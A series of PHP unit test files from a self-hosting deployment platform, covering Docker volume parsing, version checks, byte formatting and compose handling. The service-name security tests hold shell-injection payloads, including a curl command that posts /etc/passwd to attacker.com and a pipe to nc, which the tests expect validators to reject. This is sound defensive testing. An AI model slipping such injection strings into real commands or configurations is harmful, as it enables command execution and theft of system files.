// Simple bind mount
$result = parseDockerVolumeString('./data:/app/data');
expect($result['source']->value())->toBe('./data');
expect($result['target']->value())->toBe('/app/data');
expect($result['mode'])->toBeNull();
// Absolute path bind mount
$result = parseDockerVolumeString('/var/lib/data:/data');
expect($result['source']->value())->toBe('/var/lib/data');
expect($result['target']->value())->toBe('/data');
expect($result['mode'])->toBeNull();
});
test('parses volumes with read-only mode', function () {
// Named volume with ro mode
$result = parseDockerVolumeString('gitea-localtime:/etc/localtime:ro');
expect($result['source']->value())->toBe('gitea-localtime');
expect($result['target']->value())->toBe('/etc/localtime');
expect($result['mode']->value())->toBe('ro');
// Bind mount with ro mode
$result = parseDockerVolumeString('/etc/localtime:/etc/localtime:ro');
expect($result['source']->value())->toBe('/etc/localtime');
expect($result['target']->value())->toBe('/etc/localtime');
expect($result['mode']->value())->toBe('ro');
});
test('parses volumes with other modes', function () {
// Read-write mode
$result = parseDockerVolumeString('data:/var/data:rw');
expect($result['source']->value())->toBe('data');
expect($result['target']->value())->toBe('/var/data');
expect($result['mode']->value())->toBe('rw');
// Z mode (SELinux)
$result = parseDockerVolumeString('config:/etc/config:z');
expect($result['source']->value())->toBe('config');
expect($result['target']->value())->toBe('/etc/config');
expect($result['mode']->value())->toBe('z');
// Cached mode (macOS)
$result = parseDockerVolumeString('./src:/app/src:cached');
expect($result['source']->value())->toBe('./src');
expect($result['target']->value())->toBe('/app/src');
expect($result['mode']->value())->toBe('cached');
// Delegated mode (macOS)
$result = parseDockerVolumeString('./node_modules:/app/node_modules:delegated');
expect($result['source']->value())->toBe('./node_modules');
expect($result['target']->value())->toBe('/app/node_modules');
expect($result['mode']->value())->toBe('delegated');
});
test('parses volumes with environment variables', function () {
// Variable with default value
$result = parseDockerVolumeString('${VOLUME_DB_PATH:-db}:/data/db');
expect($result['source']->value())->toBe('db');
expect($result['target']->value())->toBe('/data/db');
expect($result['mode'])->toBeNull();
// Variable without default value
$result = parseDockerVolumeString('${VOLUME_PATH}:/data');
expect($result['source']->value())->toBe('${VOLUME_PATH}');
expect($result['target']->value())->toBe('/data');
expect($result['mode'])->toBeNull();
// Variable with empty default - keeps variable reference for env resolution
$result = parseDockerVolumeString('${VOLUME_PATH:-}:/data');
expect($result['source']->value())->toBe('${VOLUME_PATH}');
expect($result['target']->value())->toBe('/data');
expect($result['mode'])->toBeNull();
// Variable with mode
$result = parseDockerVolumeString('${DATA_PATH:-./data}:/app/data:ro');
expect($result['source']->value())->toBe('./data');
expect($result['target']->value())->toBe('/app/data');
expect($result['mode']->value())->toBe('ro');
});
test('parses Windows paths', function () {
// Windows absolute path
$result = parseDockerVolumeString('C:/Users/data:/data');
expect($result['source']->value())->toBe('C:/Users/data');
expect($result['target']->value())->toBe('/data');
expect($result['mode'])->toBeNull();
// Windows path with mode
$result = parseDockerVolumeString('D:/projects/app:/app:rw');
expect($result['source']->value())->toBe('D:/projects/app');
expect($result['target']->value())->toBe('/app');
expect($result['mode']->value())->toBe('rw');
// Windows path with spaces (should be quoted in real use)
$result = parseDockerVolumeString('C:/Program Files/data:/data');
expect($result['source']->value())->toBe('C:/Program Files/data');
expect($result['target']->value())->toBe('/data');
expect($result['mode'])->toBeNull();
});
test('parses edge cases', function () {
// Volume name only (unusual but valid)
$result = parseDockerVolumeString('myvolume');
expect($result['source']->value())->toBe('myvolume');
expect($result['target']->value())->toBe('myvolume');
expect($result['mode'])->toBeNull();
// Path with colon in target (not a mode)
$result = parseDockerVolumeString('source:/path:8080');
expect($result['source']->value())->toBe('source');
expect($result['target']->value())->toBe('/path:8080');
expect($result['mode'])->toBeNull();
// Multiple colons in path (not Windows)
$result = parseDockerVolumeString('data:/var/lib/docker:data:backup');
expect($result['source']->value())->toBe('data');
expect($result['target']->value())->toBe('/var/lib/docker:data:backup');
expect($result['mode'])->toBeNull();
});
test('parses tmpfs and other special cases', function () {
// Docker socket binding
$result = parseDockerVolumeString('/var/run/docker.sock:/var/run/docker.sock');
expect($result['source']->value())->toBe('/var/run/docker.sock');
expect($result['target']->value())->toBe('/var/run/docker.sock');
expect($result['mode'])->toBeNull();
// Docker socket with mode
$result = parseDockerVolumeString('/var/run/docker.sock:/var/run/docker.sock:ro');
expect($result['source']->value())->toBe('/var/run/docker.sock');
expect($result['target']->value())->toBe('/var/run/docker.sock');
expect($result['mode']->value())->toBe('ro');
// Tmp mount
$result = parseDockerVolumeString('/tmp:/tmp');
expect($result['source']->value())->toBe('/tmp');
expect($result['target']->value())->toBe('/tmp');
expect($result['mode'])->toBeNull();
});
test('handles whitespace correctly', function () {
// Leading/trailing whitespace
$result = parseDockerVolumeString(' data:/app/data ');
expect($result['source']->value())->toBe('data');
expect($result['target']->value())->toBe('/app/data');
expect($result['mode'])->toBeNull();
// Whitespace with mode
$result = parseDockerVolumeString(' ./config:/etc/config:ro ');
expect($result['source']->value())->toBe('./config');
expect($result['target']->value())->toBe('/etc/config');
expect($result['mode']->value())->toBe('ro');
});
test('parses all valid Docker volume modes', function () {
$validModes = ['ro', 'rw', 'z', 'Z', 'rslave', 'rprivate', 'rshared',
'slave', 'private', 'shared', 'cached', 'delegated', 'consistent'];
foreach ($validModes as $mode) {
$result = parseDockerVolumeString("volume:/data:$mode");
expect($result['source']->value())->toBe('volume');
expect($result['target']->value())->toBe('/data');
expect($result['mode']->value())->toBe($mode);
}
});
test('parses complex real-world examples', function () {
// MongoDB volume with environment variable
$result = parseDockerVolumeString('${VOLUME_DB_PATH:-./data/db}:/data/db');
expect($result['source']->value())->toBe('./data/db');
expect($result['target']->value())->toBe('/data/db');
expect($result['mode'])->toBeNull();
// Config file mount with read-only
$result = parseDockerVolumeString('/home/user/app/config.yml:/app/config.yml:ro');
expect($result['source']->value())->toBe('/home/user/app/config.yml');
expect($result['target']->value())->toBe('/app/config.yml');
expect($result['mode']->value())->toBe('ro');
// Named volume with hyphens and underscores
$result = parseDockerVolumeString('my-app_data_v2:/var/lib/app-data');
expect($result['source']->value())->toBe('my-app_data_v2');
expect($result['target']->value())->toBe('/var/lib/app-data');
expect($result['mode'])->toBeNull();
});
test('preserves mode when reconstructing volume strings', function () {
// Test cases that specifically verify mode preservation
$testCases = [
'/var/run/docker.sock:/var/run/docker.sock:ro' => ['source' => '/var/run/docker.sock', 'target' => '/var/run/docker.sock', 'mode' => 'ro'],
'/etc/localtime:/etc/localtime:ro' => ['source' => '/etc/localtime', 'target' => '/etc/localtime', 'mode' => 'ro'],
'/tmp:/tmp:rw' => ['source' => '/tmp', 'target' => '/tmp', 'mode' => 'rw'],
'gitea-data:/data:ro' => ['source' => 'gitea-data', 'target' => '/data', 'mode' => 'ro'],
'./config:/app/config:cached' => ['source' => './config', 'target' => '/app/config', 'mode' => 'cached'],
'volume:/data:delegated' => ['source' => 'volume', 'target' => '/data', 'mode' => 'delegated'],
];
foreach ($testCases as $input => $expected) {
$result = parseDockerVolumeString($input);
// Verify parsing
expect($result['source']->value())->toBe($expected['source']);
expect($result['target']->value())->toBe($expected['target']);
expect($result['mode']->value())->toBe($expected['mode']);
// Verify reconstruction would preserve the mode
$reconstructed = $result['source']->value().':'.$result['target']->value();
if ($result['mode']) {
$reconstructed .= ':'.$result['mode']->value();
}
expect($reconstructed)->toBe($input);
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/WindowsPathVolumeTest.php | tests/Unit/WindowsPathVolumeTest.php | <?php
test('parseDockerVolumeString correctly handles Windows paths with drive letters', function () {
$windowsVolume = 'C:\\host\\path:/container';
$result = parseDockerVolumeString($windowsVolume);
expect((string) $result['source'])->toBe('C:\\host\\path');
expect((string) $result['target'])->toBe('/container');
});
test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () {
$windowsVolume = 'C:\\Users\\Data:/app/data';
// Should not throw an exception
validateVolumeStringForInjection($windowsVolume);
// If we get here, the test passed
expect(true)->toBeTrue();
});
test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () {
$maliciousVolume = 'C:\\host\\`whoami`:/container';
expect(fn () => validateVolumeStringForInjection($maliciousVolume))
->toThrow(\Exception::class);
});
test('validateDockerComposeForInjection handles Windows paths in compose files', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- C:\Users\Data:/app/data
YAML;
// Should not throw an exception
validateDockerComposeForInjection($dockerComposeYaml);
expect(true)->toBeTrue();
});
test('validateDockerComposeForInjection rejects Windows paths with injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- C:\Users\$(whoami):/app/data
YAML;
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
->toThrow(\Exception::class);
});
test('Windows paths with complex paths and spaces are handled correctly', function () {
$windowsVolume = 'C:\\Program Files\\MyApp:/app';
$result = parseDockerVolumeString($windowsVolume);
expect((string) $result['source'])->toBe('C:\\Program Files\\MyApp');
expect((string) $result['target'])->toBe('/app');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CheckTraefikVersionForServerJobTest.php | tests/Unit/CheckTraefikVersionForServerJobTest.php | <?php
use App\Jobs\CheckTraefikVersionForServerJob;
use App\Models\Server;
beforeEach(function () {
$this->traefikVersions = [
'v3.5' => '3.5.6',
'v3.6' => '3.6.2',
];
});
it('has correct queue and retry configuration', function () {
$server = \Mockery::mock(Server::class)->makePartial();
$job = new CheckTraefikVersionForServerJob($server, $this->traefikVersions);
expect($job->tries)->toBe(3);
expect($job->timeout)->toBe(60);
expect($job->server)->toBe($server);
expect($job->traefikVersions)->toBe($this->traefikVersions);
});
it('parses version strings correctly', function () {
$version = 'v3.5.0';
$current = ltrim($version, 'v');
expect($current)->toBe('3.5.0');
preg_match('/^(\d+\.\d+)\.(\d+)$/', $current, $matches);
expect($matches[1])->toBe('3.5'); // branch
expect($matches[2])->toBe('0'); // patch
});
it('compares versions correctly for patch updates', function () {
$current = '3.5.0';
$latest = '3.5.6';
$isOutdated = version_compare($current, $latest, '<');
expect($isOutdated)->toBeTrue();
});
it('compares versions correctly for minor upgrades', function () {
$current = '3.5.6';
$latest = '3.6.2';
$isOutdated = version_compare($current, $latest, '<');
expect($isOutdated)->toBeTrue();
});
it('identifies up-to-date versions', function () {
$current = '3.6.2';
$latest = '3.6.2';
$isUpToDate = version_compare($current, $latest, '=');
expect($isUpToDate)->toBeTrue();
});
it('identifies newer branch from version map', function () {
$versions = [
'v3.5' => '3.5.6',
'v3.6' => '3.6.2',
'v3.7' => '3.7.0',
];
$currentBranch = '3.5';
$newestVersion = null;
foreach ($versions as $branch => $version) {
$branchNum = ltrim($branch, 'v');
if (version_compare($branchNum, $currentBranch, '>')) {
if (! $newestVersion || version_compare($version, $newestVersion, '>')) {
$newestVersion = $version;
}
}
}
expect($newestVersion)->toBe('3.7.0');
});
it('validates version format regex', function () {
$validVersions = ['3.5.0', '3.6.12', '10.0.1'];
$invalidVersions = ['3.5', 'v3.5.0', '3.5.0-beta', 'latest'];
foreach ($validVersions as $version) {
$matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version);
expect($matches)->toBe(1);
}
foreach ($invalidVersions as $version) {
$matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version);
expect($matches)->toBe(0);
}
});
it('handles invalid version format gracefully', function () {
$invalidVersion = 'latest';
$result = preg_match('/^(\d+\.\d+)\.(\d+)$/', $invalidVersion, $matches);
expect($result)->toBe(0);
expect($matches)->toBeEmpty();
});
it('handles empty image tag correctly', function () {
// Test that empty string after trim doesn't cause issues with str_contains
$emptyImageTag = '';
$trimmed = trim($emptyImageTag);
// This should be false, not an error
expect(empty($trimmed))->toBeTrue();
// Test with whitespace only
$whitespaceTag = " \n ";
$trimmed = trim($whitespaceTag);
expect(empty($trimmed))->toBeTrue();
});
it('detects latest tag in image name', function () {
// Test various formats where :latest appears
$testCases = [
'traefik:latest' => true,
'traefik:Latest' => true,
'traefik:LATEST' => true,
'traefik:v3.6.0' => false,
'traefik:3.6.0' => false,
'' => false,
];
foreach ($testCases as $imageTag => $expected) {
if (empty(trim($imageTag))) {
$result = false; // Should return false for empty tags
} else {
$result = str_contains(strtolower(trim($imageTag)), ':latest');
}
expect($result)->toBe($expected, "Failed for imageTag: '{$imageTag}'");
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/FormatBytesTest.php | tests/Unit/FormatBytesTest.php | <?php
it('formats zero bytes correctly', function () {
expect(formatBytes(0))->toBe('0 B');
});
it('formats null bytes correctly', function () {
expect(formatBytes(null))->toBe('0 B');
});
it('handles negative bytes safely', function () {
expect(formatBytes(-1024))->toBe('0 B');
expect(formatBytes(-100))->toBe('0 B');
});
it('formats bytes correctly', function () {
expect(formatBytes(512))->toBe('512 B');
expect(formatBytes(1023))->toBe('1023 B');
});
it('formats kilobytes correctly', function () {
expect(formatBytes(1024))->toBe('1 KB');
expect(formatBytes(2048))->toBe('2 KB');
expect(formatBytes(1536))->toBe('1.5 KB');
});
it('formats megabytes correctly', function () {
expect(formatBytes(1048576))->toBe('1 MB');
expect(formatBytes(5242880))->toBe('5 MB');
});
it('formats gigabytes correctly', function () {
expect(formatBytes(1073741824))->toBe('1 GB');
expect(formatBytes(2147483648))->toBe('2 GB');
});
it('respects precision parameter', function () {
expect(formatBytes(1536, 0))->toBe('2 KB');
expect(formatBytes(1536, 1))->toBe('1.5 KB');
expect(formatBytes(1536, 2))->toBe('1.5 KB');
expect(formatBytes(1536, 3))->toBe('1.5 KB');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceNameSecurityTest.php | tests/Unit/ServiceNameSecurityTest.php | <?php
use App\Models\Service;
use Symfony\Component\Yaml\Yaml;
test('service names with backtick injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'evil`whoami`':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'backtick');
});
test('service names with command substitution are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'evil$(cat /etc/passwd)':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'command substitution');
});
test('service names with pipe injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'web | nc attacker.com 1234':
image: nginx
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'pipe');
});
test('service names with semicolon injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'web; curl attacker.com':
image: nginx
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'separator');
});
test('service names with ampersand injection are rejected', function () {
$maliciousComposes = [
"services:\n 'web & curl attacker.com':\n image: nginx",
"services:\n 'web && curl attacker.com':\n image: nginx",
];
foreach ($maliciousComposes as $compose) {
$parsed = Yaml::parse($compose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'operator');
}
});
test('service names with redirection are rejected', function () {
$maliciousComposes = [
"services:\n 'web > /dev/null':\n image: nginx",
"services:\n 'web < input.txt':\n image: nginx",
];
foreach ($maliciousComposes as $compose) {
$parsed = Yaml::parse($compose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class);
}
});
test('legitimate service names are accepted', function () {
$legitCompose = <<<'YAML'
services:
web:
image: nginx
api:
image: node:20
database:
image: postgres:15
redis-cache:
image: redis:7
app_server:
image: python:3.11
my-service.com:
image: alpine
YAML;
$parsed = Yaml::parse($legitCompose);
foreach ($parsed['services'] as $serviceName => $service) {
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->not->toThrow(Exception::class);
}
});
test('service names used in docker network connect command', function () {
// This demonstrates the actual vulnerability from StartService.php:41
$maliciousServiceName = 'evil`curl attacker.com`';
$uuid = 'test-uuid-123';
$network = 'coolify';
// Without validation, this would create a dangerous command
$dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}";
expect($dangerousCommand)->toContain('`curl attacker.com`');
// With validation, the service name should be rejected
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
->toThrow(Exception::class);
});
test('service name from the vulnerability report example', function () {
// The example could also target service names
$maliciousCompose = <<<'YAML'
services:
'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class);
});
test('service names with newline injection are rejected', function () {
$maliciousServiceName = "web\ncurl attacker.com";
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
->toThrow(Exception::class, 'newline');
});
test('service names with variable substitution patterns are rejected', function () {
$maliciousNames = [
'web${PATH}',
'app${USER}',
'db${PWD}',
];
foreach ($maliciousNames as $name) {
expect(fn () => validateShellSafePath($name, 'service name'))
->toThrow(Exception::class);
}
});
test('service names provide helpful error messages', function () {
$maliciousServiceName = 'evil`command`';
try {
validateShellSafePath($maliciousServiceName, 'service name');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('service name');
expect($e->getMessage())->toContain('backtick');
}
});
test('multiple malicious services in one compose file', function () {
$maliciousCompose = <<<'YAML'
services:
'web`whoami`':
image: nginx
'api$(cat /etc/passwd)':
image: node
database:
image: postgres
'cache; curl attacker.com':
image: redis
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceNames = array_keys($parsed['services']);
// First and second service names should fail
expect(fn () => validateShellSafePath($serviceNames[0], 'service name'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath($serviceNames[1], 'service name'))
->toThrow(Exception::class);
// Third service name should pass (legitimate)
expect(fn () => validateShellSafePath($serviceNames[2], 'service name'))
->not->toThrow(Exception::class);
// Fourth service name should fail
expect(fn () => validateShellSafePath($serviceNames[3], 'service name'))
->toThrow(Exception::class);
});
test('service names with spaces are allowed', function () {
// Spaces themselves are not dangerous - shell escaping handles them
// Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them
$serviceName = 'my service';
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->not->toThrow(Exception::class);
});
test('common Docker Compose service naming patterns are allowed', function () {
$commonNames = [
'web',
'api',
'database',
'redis',
'postgres',
'mysql',
'mongodb',
'app-server',
'web_frontend',
'api.backend',
'db-01',
'worker_1',
'service123',
];
foreach ($commonNames as $name) {
expect(fn () => validateShellSafePath($name, 'service name'))
->not->toThrow(Exception::class);
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/LocalFileVolumeReadOnlyTest.php | tests/Unit/LocalFileVolumeReadOnlyTest.php | <?php
/**
* Unit tests to verify LocalFileVolume::isReadOnlyVolume() correctly detects
* read-only volumes in both short-form and long-form Docker Compose syntax.
*
* Related Issue: Volumes with read_only: true in long-form syntax were not
* being detected as read-only, allowing UI edits on files that should be protected.
*
* Related Files:
* - app/Models/LocalFileVolume.php
* - app/Livewire/Project/Service/FileStorage.php
*/
use Symfony\Component\Yaml\Yaml;
/**
* Helper function to parse volumes and detect read-only status.
* This mirrors the logic in LocalFileVolume::isReadOnlyVolume()
*
* Note: We match on mount_path (container path) only, since fs_path gets transformed
* from relative (./file) to absolute (/data/coolify/services/uuid/file) during parsing
*/
function isVolumeReadOnly(string $dockerComposeRaw, string $serviceName, string $mountPath): bool
{
$compose = Yaml::parse($dockerComposeRaw);
if (! isset($compose['services'][$serviceName]['volumes'])) {
return false;
}
$volumes = $compose['services'][$serviceName]['volumes'];
foreach ($volumes as $volume) {
// Volume can be string like "host:container:ro" or "host:container"
if (is_string($volume)) {
$parts = explode(':', $volume);
if (count($parts) >= 2) {
$containerPath = $parts[1];
$options = $parts[2] ?? null;
if ($containerPath === $mountPath) {
return $options === 'ro';
}
}
} elseif (is_array($volume)) {
// Long-form syntax: { type: bind, source: ..., target: ..., read_only: true }
$containerPath = data_get($volume, 'target');
$readOnly = data_get($volume, 'read_only', false);
if ($containerPath === $mountPath) {
return $readOnly === true;
}
}
}
return false;
}
test('detects read-only with short-form syntax using :ro', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- ./config.toml:/etc/config.toml:ro
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/etc/config.toml'))->toBeTrue();
});
test('detects writable with short-form syntax without :ro', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- ./config.toml:/etc/config.toml
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/etc/config.toml'))->toBeFalse();
});
test('detects read-only with long-form syntax and read_only: true', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- type: bind
source: ./garage.toml
target: /etc/garage.toml
read_only: true
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/etc/garage.toml'))->toBeTrue();
});
test('detects writable with long-form syntax and read_only: false', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- type: bind
source: ./garage.toml
target: /etc/garage.toml
read_only: false
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/etc/garage.toml'))->toBeFalse();
});
test('detects writable with long-form syntax without read_only key', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- type: bind
source: ./garage.toml
target: /etc/garage.toml
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/etc/garage.toml'))->toBeFalse();
});
test('handles mixed short-form and long-form volumes in same service', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- ./data:/var/data
- type: bind
source: ./config.toml
target: /etc/config.toml
read_only: true
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/var/data'))->toBeFalse();
expect(isVolumeReadOnly($compose, 'garage', '/etc/config.toml'))->toBeTrue();
});
test('handles same file mounted in multiple services with different read_only settings', function () {
$compose = <<<'YAML'
services:
garage:
image: example/garage
volumes:
- type: bind
source: ./garage.toml
target: /etc/garage.toml
garage-webui:
image: example/webui
volumes:
- type: bind
source: ./garage.toml
target: /etc/garage.toml
read_only: true
YAML;
// Same file, different services, different read_only status
expect(isVolumeReadOnly($compose, 'garage', '/etc/garage.toml'))->toBeFalse();
expect(isVolumeReadOnly($compose, 'garage-webui', '/etc/garage.toml'))->toBeTrue();
});
test('handles volume mount type', function () {
$compose = <<<'YAML'
services:
app:
image: example/app
volumes:
- type: volume
source: mydata
target: /data
read_only: true
YAML;
expect(isVolumeReadOnly($compose, 'app', '/data'))->toBeTrue();
});
test('returns false when service has no volumes', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/etc/config.toml'))->toBeFalse();
});
test('returns false when service does not exist', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- ./config.toml:/etc/config.toml:ro
YAML;
expect(isVolumeReadOnly($compose, 'nonexistent', '/etc/config.toml'))->toBeFalse();
});
test('returns false when mount path does not match', function () {
$compose = <<<'YAML'
services:
garage:
image: example/image
volumes:
- type: bind
source: ./other.toml
target: /etc/other.toml
read_only: true
YAML;
expect(isVolumeReadOnly($compose, 'garage', '/etc/config.toml'))->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/UpdateComposeAbbreviatedVariablesTest.php | tests/Unit/UpdateComposeAbbreviatedVariablesTest.php | <?php
/**
* Unit tests to verify that updateCompose() correctly handles abbreviated
* SERVICE_URL and SERVICE_FQDN variable names from templates.
*
* This tests the fix for GitHub issue #7243 where SERVICE_URL_OPDASHBOARD
* wasn't being updated when the domain changed, while SERVICE_URL_OPDASHBOARD_3000
* was being updated correctly.
*
* The issue occurs when template variable names are abbreviated (e.g., OPDASHBOARD)
* instead of using the full container name (e.g., OPENPANEL_DASHBOARD).
*/
use Symfony\Component\Yaml\Yaml;
it('detects SERVICE_URL variables directly declared in template environment', function () {
$yaml = <<<'YAML'
services:
openpanel-dashboard:
environment:
- SERVICE_URL_OPDASHBOARD_3000
- OTHER_VAR=value
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.openpanel-dashboard');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $envVar) {
if (is_string($envVar)) {
$envVarName = str($envVar)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
expect($templateVariableNames)->toContain('SERVICE_URL_OPDASHBOARD_3000');
expect($templateVariableNames)->not->toContain('OTHER_VAR');
});
it('only detects directly declared SERVICE_URL variables not references', function () {
$yaml = <<<'YAML'
services:
openpanel-dashboard:
environment:
- SERVICE_URL_OPDASHBOARD_3000
- NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_URL_OPDASHBOARD}
- NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.openpanel-dashboard');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $envVar) {
if (is_string($envVar)) {
$envVarName = str($envVar)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
// Should only detect the direct declaration
expect($templateVariableNames)->toContain('SERVICE_URL_OPDASHBOARD_3000');
// Should NOT detect references (those belong to other services)
expect($templateVariableNames)->not->toContain('SERVICE_URL_OPDASHBOARD');
expect($templateVariableNames)->not->toContain('SERVICE_URL_OPAPI');
});
it('detects multiple directly declared SERVICE_URL variables', function () {
$yaml = <<<'YAML'
services:
app:
environment:
- SERVICE_URL_APP
- SERVICE_URL_APP_3000
- SERVICE_FQDN_API
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.app');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $envVar) {
if (is_string($envVar)) {
// Extract variable name (before '=' if present)
$envVarName = str($envVar)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
$templateVariableNames = array_unique($templateVariableNames);
expect($templateVariableNames)->toHaveCount(3);
expect($templateVariableNames)->toContain('SERVICE_URL_APP');
expect($templateVariableNames)->toContain('SERVICE_URL_APP_3000');
expect($templateVariableNames)->toContain('SERVICE_FQDN_API');
});
it('removes duplicates from template variable names', function () {
$yaml = <<<'YAML'
services:
app:
environment:
- SERVICE_URL_APP
- PUBLIC_URL=${SERVICE_URL_APP}
- PRIVATE_URL=${SERVICE_URL_APP}
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.app');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $envVar) {
if (is_string($envVar)) {
$envVarName = str($envVar)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
if (is_string($envVar) && str($envVar)->contains('${')) {
preg_match_all('/\$\{(SERVICE_(?:FQDN|URL)_[^}]+)\}/', $envVar, $matches);
if (! empty($matches[1])) {
foreach ($matches[1] as $match) {
$templateVariableNames[] = $match;
}
}
}
}
$templateVariableNames = array_unique($templateVariableNames);
// SERVICE_URL_APP appears 3 times but should only be in array once
expect($templateVariableNames)->toHaveCount(1);
expect($templateVariableNames)->toContain('SERVICE_URL_APP');
});
it('detects SERVICE_FQDN variables in addition to SERVICE_URL', function () {
$yaml = <<<'YAML'
services:
app:
environment:
- SERVICE_FQDN_APP
- SERVICE_FQDN_APP_3000
- SERVICE_URL_APP
- SERVICE_URL_APP_8080
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.app');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $envVar) {
if (is_string($envVar)) {
$envVarName = str($envVar)->before('=')->trim();
